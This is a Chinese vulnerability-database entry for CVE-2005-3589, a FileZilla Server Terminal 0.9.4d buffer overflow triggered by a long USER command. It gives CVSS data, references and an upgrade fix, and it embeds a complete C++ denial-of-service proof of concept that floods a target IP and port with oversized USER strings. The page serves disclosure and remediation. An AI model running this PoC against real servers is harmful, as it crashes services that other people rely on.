CVE-2005-3589
CVSS7.8
发布时间 :2005-11-16 02:42:00
修订时间 :2016-10-17 23:36:21
NMCOE    

[原文]Buffer overflow in FileZilla Server Terminal 0.9.4d may allow remote attackers to cause a denial of service (terminal crash) via a long USER ftp command.


[CNNVD]FileZilla FTP Server USER命令超长参数远程缓冲区溢出漏洞(CNNVD-200511-212)

        FileZilla FTP Server是一款小型FTP服务程序,可使用在Microsoft Windows操作系统下。
        FileZilla FTP Server对畸形用户请求的处理存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。
        FileZilla FTP Server在处理带有超长畸形参数的USER命令请求时存在缓冲区溢出,攻击者可以通过发送畸形串导致溢出控制服务器。

- CVSS (基础分值)

CVSS分值: 7.8 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3589
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3589
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200511-212
(官方数据源) CNNVD

- 其它链接及资源

http://ingehenriksen.blogspot.com/2005/11/filezilla-server-terminal-094d-dos-poc_21.html
(UNKNOWN)  MISC  http://ingehenriksen.blogspot.com/2005/11/filezilla-server-terminal-094d-dos-poc_21.html
http://ingehenriksen.blogspot.com/2005/11/work-in-progress-filezilla-server.html
(UNKNOWN)  MISC  http://ingehenriksen.blogspot.com/2005/11/work-in-progress-filezilla-server.html
http://marc.info/?l=bugtraq&m=113140190521377&w=2
(UNKNOWN)  BUGTRAQ  20051107 Work in Progress: FileZilla Server Terminal V0.9.4d Buffer Overflow
http://sourceforge.net/project/shownotes.php?release_id=298735
(PATCH)  MISC  http://sourceforge.net/project/shownotes.php?release_id=298735
http://www.securityfocus.com/archive/1/archive/1/417307/30/0/threaded
(UNKNOWN)  BUGTRAQ  20051121 Re: Work in Progress: FileZilla Server Terminal V0.9.4d Buffer Overflow
http://www.securityfocus.com/bid/15346
(UNKNOWN)  BID  15346

- 漏洞信息

FileZilla FTP Server USER命令超长参数远程缓冲区溢出漏洞
高危 缓冲区溢出
2005-11-16 00:00:00 2005-11-23 00:00:00
远程  
        FileZilla FTP Server是一款小型FTP服务程序,可使用在Microsoft Windows操作系统下。
        FileZilla FTP Server对畸形用户请求的处理存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。
        FileZilla FTP Server在处理带有超长畸形参数的USER命令请求时存在缓冲区溢出,攻击者可以通过发送畸形串导致溢出控制服务器。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://sourceforge.net/projects/filezilla/

- 漏洞信息 (1336)

FileZilla Server Terminal 0.9.4d Buffer Overflow PoC (EDBID:1336)
windows dos
2005-11-21 Verified
0 Inge Henriksen
N/A [点击下载]
/*
FileZillaDoS.cpp
FileZilla Server Terminal 0.9.4d DoS PoC by Inge Henriksen.
Read the disclaimer at http://ingehenriksen.blogspot.com before using.
Made to work with Microsoft(R) Visual C++(R), to use link "WS2_32.lib".
*/

#include "stdafx.h"
#include <iostream>
#include "Winsock2.h"

#define BUFFSIZE 10000
#define ATTACK_BUFFSIZE 5000

using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
       cout << "FileZilla Server Terminal 0.9.4d DoS PoC by Inge Henriksen." << endl;
       cout << "Read the disclaimer at http://ingehenriksen.blogspot.com before using." << endl;
       if (argc!=3)                    // Exit if wrong number of arguments
       {
               cerr << "Error: Wrong number of arguments" << endl;
               cout << "Usage: " << argv[0] << " <Target IP> <Target Port>" << endl;
               cout << "Example: " << argv[0] << " 192.168.2.100 21" << endl;
               return (-1);
       }

       in_addr IPAddressData;
       __int64 counterVal;
       char* bufferData;
       char* attackStringData;
       SOCKET sock;
       sockaddr_in sinInterface;

       WSADATA wsaData;
       int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);             // Use Winsock version 2.2
       if (iResult != NO_ERROR)
       {
               cerr << "Error: WSAStartup() failed" << endl;
               return(-1);
       }

       int recvRet;
       char tmpBuffer[BUFFSIZE];
       char tmpAttackBuffer[ATTACK_BUFFSIZE];
       tmpAttackBuffer[0] = 'U';
       tmpAttackBuffer[1] = 'S';
       tmpAttackBuffer[2] = 'E';
       tmpAttackBuffer[3] = 'R';
       tmpAttackBuffer[4] = ' ';

       int i;
       int j=5;
       for (i=j;i<ATTACK_BUFFSIZE-6;i++)
       {
               int k;
               for(k=j;k<=i;k++)
               {
                       tmpAttackBuffer[k] = 'A';
               }
               tmpAttackBuffer[k] = '\n';
               tmpAttackBuffer[k+1] = '\0';

               sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP );
               if ((int)(sock)==-1)
               {
                       cerr << "Error: Could not create socket" << endl;
                       return(-1);
               }

               sinInterface.sin_family = AF_INET;
               sinInterface.sin_addr.s_addr = inet_addr(argv[1]);
               sinInterface.sin_port = htons(atoi(argv[2]));

               if ((connect(sock,(sockaddr*)&sinInterface ,sizeof(sockaddr_in))!=SOCKET_ERROR))
               {
                       int sendResult = send( sock, tmpAttackBuffer , (int)strlen(tmpAttackBuffer), 0);
                       cout << "Sent " << strlen(tmpAttackBuffer) << " characters" << endl;
                       if ( sendResult != SOCKET_ERROR )
                       {
                               recvRet = SOCKET_ERROR;

                               for (int i=0;i<BUFFSIZE;i++)
                                       tmpBuffer[i]=(char)0;

                               recvRet = recv( sock, tmpBuffer , BUFFSIZE-1, 0 );
                               if ( recvRet == SOCKET_ERROR )
                                       cerr << "Error: recv() failed" << endl;
                               else
                                       cout << "Response is: " << endl << tmpBuffer << endl;;
                       }
                       else
                               cerr << "Error: send() failed" << endl;

                       if (shutdown(sock,0)==SOCKET_ERROR)
                               cerr << "Error: shutdown() failed" << endl;
               }
               else
                       cerr << "Error: connect() failed" << endl;

               if (closesocket(sock)==SOCKET_ERROR)
                       cerr << "Error: closesocket() failed" << endl;

       }       // End for loop

       return 0;
}

// milw0rm.com [2005-11-21]
		

- 漏洞信息

20817
FileZilla Server Terminal USER Command Overflow
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability Upgrade
Exploit Public

- 漏洞描述

A remote overflow exists in FileZilla Server. The application fails to perform proper bounds checking resulting in a buffer overflow. With a specially crafted request containing an overly long string to the 'USER' command, a remote attacker can crash the terminal process resulting in a loss of availability.

- 时间线

2005-11-07 Unknow
2005-11-07 Unknow

- 解决方案

Upgrade to version 0.9.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站